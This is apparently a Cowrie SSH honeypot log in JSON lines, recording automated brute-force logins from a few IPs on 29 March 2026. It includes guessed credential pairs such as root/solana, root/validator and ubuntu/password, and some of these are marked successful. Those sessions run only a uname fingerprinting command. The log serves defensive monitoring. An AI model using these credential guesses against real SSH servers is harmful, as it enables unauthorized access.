{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:43:06.054121Z","src_ip":"92.118.39.95","session":"f57d9968aa63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:43:06.159220Z","src_ip":"92.118.39.95","session":"f57d9968aa63","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"solana","message":"login attempt [root/solana] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:43:06.473932Z","src_ip":"92.118.39.95","session":"f57d9968aa63","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:43:06.718195Z","src_ip":"92.118.39.95","session":"f57d9968aa63","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:43:06.721179Z","src_ip":"92.118.39.95","session":"f57d9968aa63","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:43:06.831395Z","src_ip":"92.118.39.95","session":"f57d9968aa63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:43:06.836285Z","src_ip":"92.118.39.95","session":"f57d9968aa63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":50548,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea8bd24bac75","protocol":"ssh","message":"New connection: 80.94.92.186:50548 (10.17.0.5:22) [session: ea8bd24bac75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:44:24.950204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:44:25.060364Z","src_ip":"80.94.92.186","session":"ea8bd24bac75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:44:25.064135Z","src_ip":"80.94.92.186","session":"ea8bd24bac75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2wsx","message":"login attempt [ubuntu/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:44:25.920974Z","src_ip":"80.94.92.186","session":"ea8bd24bac75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:44:27.191876Z","src_ip":"80.94.92.186","session":"ea8bd24bac75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":57888,"dst_ip":"159.203.135.109","dst_port":22,"session":"0abccbee0d02","protocol":"ssh","message":"New connection: 193.32.162.151:57888 (159.203.135.109:22) [session: 0abccbee0d02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:44:40.717883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:44:40.816620Z","src_ip":"193.32.162.151","session":"0abccbee0d02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:44:40.918788Z","src_ip":"193.32.162.151","session":"0abccbee0d02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"12345678","message":"login attempt [nexus/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:44:41.224444Z","src_ip":"193.32.162.151","session":"0abccbee0d02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:44:42.326431Z","src_ip":"193.32.162.151","session":"0abccbee0d02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":34620,"dst_ip":"10.17.0.5","dst_port":22,"session":"a504b823f67c","protocol":"ssh","message":"New connection: 92.118.39.95:34620 (10.17.0.5:22) [session: a504b823f67c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:45:21.674583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:45:21.691504Z","src_ip":"92.118.39.95","session":"a504b823f67c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:45:21.781842Z","src_ip":"92.118.39.95","session":"a504b823f67c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"validator","message":"login attempt [root/validator] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:45:22.192294Z","src_ip":"92.118.39.95","session":"a504b823f67c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:45:22.492596Z","src_ip":"92.118.39.95","session":"a504b823f67c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:45:22.495173Z","src_ip":"92.118.39.95","session":"a504b823f67c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:45:22.625936Z","src_ip":"92.118.39.95","session":"a504b823f67c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:45:22.631892Z","src_ip":"92.118.39.95","session":"a504b823f67c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":45538,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6f3218fba0d","protocol":"ssh","message":"New connection: 193.32.162.151:45538 (159.203.135.109:22) [session: d6f3218fba0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:46:59.050775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:46:59.055230Z","src_ip":"193.32.162.151","session":"d6f3218fba0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:46:59.159903Z","src_ip":"193.32.162.151","session":"d6f3218fba0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus123","message":"login attempt [nexus/nexus123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:46:59.476799Z","src_ip":"193.32.162.151","session":"d6f3218fba0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:47:00.592213Z","src_ip":"193.32.162.151","session":"d6f3218fba0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":53252,"dst_ip":"10.17.0.5","dst_port":22,"session":"accecdfc1da7","protocol":"ssh","message":"New connection: 80.94.92.186:53252 (10.17.0.5:22) [session: accecdfc1da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:47:28.483731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:47:28.705654Z","src_ip":"80.94.92.186","session":"accecdfc1da7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:47:28.708747Z","src_ip":"80.94.92.186","session":"accecdfc1da7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:47:29.735499Z","src_ip":"80.94.92.186","session":"accecdfc1da7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:47:31.034590Z","src_ip":"80.94.92.186","session":"accecdfc1da7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":46828,"dst_ip":"10.17.0.5","dst_port":22,"session":"65c3bfce1b6a","protocol":"ssh","message":"New connection: 92.118.39.95:46828 (10.17.0.5:22) [session: 65c3bfce1b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:47:41.207038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:47:41.211260Z","src_ip":"92.118.39.95","session":"65c3bfce1b6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:47:41.318228Z","src_ip":"92.118.39.95","session":"65c3bfce1b6a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"node","message":"login attempt [root/node] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:47:41.656127Z","src_ip":"92.118.39.95","session":"65c3bfce1b6a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:47:41.897063Z","src_ip":"92.118.39.95","session":"65c3bfce1b6a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:47:41.899412Z","src_ip":"92.118.39.95","session":"65c3bfce1b6a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:47:42.008410Z","src_ip":"92.118.39.95","session":"65c3bfce1b6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:47:42.012321Z","src_ip":"92.118.39.95","session":"65c3bfce1b6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":33150,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ff7b1d9fa9c","protocol":"ssh","message":"New connection: 193.32.162.151:33150 (159.203.135.109:22) [session: 6ff7b1d9fa9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:49:10.049318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:49:10.054004Z","src_ip":"193.32.162.151","session":"6ff7b1d9fa9c","protocol":"ssh"}
